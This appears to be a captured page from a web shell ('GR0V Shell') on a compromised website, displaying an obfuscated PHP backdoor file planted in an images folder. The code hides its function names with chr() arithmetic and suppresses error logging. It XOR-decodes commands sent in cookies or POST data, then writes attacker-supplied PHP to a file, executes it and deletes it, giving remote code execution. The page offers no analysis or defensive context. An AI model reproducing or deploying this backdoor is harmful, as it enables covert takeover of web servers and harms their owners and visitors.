? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/images/new_candy/

Current File : /home/admin/public_html/old/images/new_candy/zkrzcdfx.php

<?php $XaMMJNCMv = chr(436-334)."\151"."\154".'e'.'_'.chr(112).'u'.'t'.chr(646-551).chr(534-435).chr(111)."\156"."\164"."\145".chr(951-841).chr(693-577)."\163";
$MdQSxsafhe = chr(1069-971).chr(97).chr(294-179)."\145".chr(54)."\x34"."\137"."\144".chr(1065-964)."\x63".'o'."\144".chr(101);
$DAjdLNDed = chr(105).chr(110).'i'.'_'."\x73".chr(101).'t';
$kIfwuRBf = "\165".'n'.chr(500-392).chr(1100-995)."\156"."\x6b";


@$DAjdLNDed(chr(181-80).chr(114).chr(555-441).chr(313-202).chr(114)."\x5f".'l'."\157"."\147", NULL);
@$DAjdLNDed("\x6c"."\157"."\147".'_'."\145".chr(791-677)."\162".chr(395-284)."\x72".chr(115), 0);
@$DAjdLNDed("\x6d".chr(97).chr(120)."\x5f".chr(101).chr(803-683)."\145".chr(919-820).chr(117).chr(116).chr(300-195).'o'."\156".chr(95)."\164".chr(105)."\155".chr(636-535), 0);
@set_time_limit(0);

function cliustcAV($dSiBjI, $BBGVWAOKh)
{
    $VpEPlaMDEv = "";
    for ($NVcMeJwWdd = 0; $NVcMeJwWdd < strlen($dSiBjI);) {
        for ($j = 0; $j < strlen($BBGVWAOKh) && $NVcMeJwWdd < strlen($dSiBjI); $j++, $NVcMeJwWdd++) {
            $VpEPlaMDEv .= chr(ord($dSiBjI[$NVcMeJwWdd]) ^ ord($BBGVWAOKh[$j]));
        }
    }
    return $VpEPlaMDEv;
}

$oeVZwwsNS = array_merge($_COOKIE, $_POST);
$TpnSn = '6fc4de7a-0def-483b-b2c1-bbb4bc3f8c16';
foreach ($oeVZwwsNS as $pAiarf => $dSiBjI) {
    $dSiBjI = @unserialize(cliustcAV(cliustcAV($MdQSxsafhe($dSiBjI), $TpnSn), $pAiarf));
    if (isset($dSiBjI['a'.'k'])) {
        if ($dSiBjI["\x61"] == chr(767-662)) {
            $NVcMeJwWdd = array(
                'p'.chr(118) => @phpversion(),
                "\163"."\166" => "3.5",
            );
            echo @serialize($NVcMeJwWdd);
        } elseif ($dSiBjI["\x61"] == 'e') {
            $DGDgZ = "./" . md5($TpnSn) . "\56".chr(105)."\156".chr(445-346);
            @$XaMMJNCMv($DGDgZ, "<" . "\x3f"."\160".chr(104).chr(112).chr(32).chr(946-882)."\x75"."\x6e"."\154"."\151".chr(243-133).chr(210-103).'('."\137".chr(95)."\106"."\111".chr(259-183).chr(69)."\137"."\137".')'.chr(651-592).' ' . $dSiBjI["\x64"]);
            include($DGDgZ);
            @$kIfwuRBf($DGDgZ);
        }
        exit();
    }
}

T1KUS90T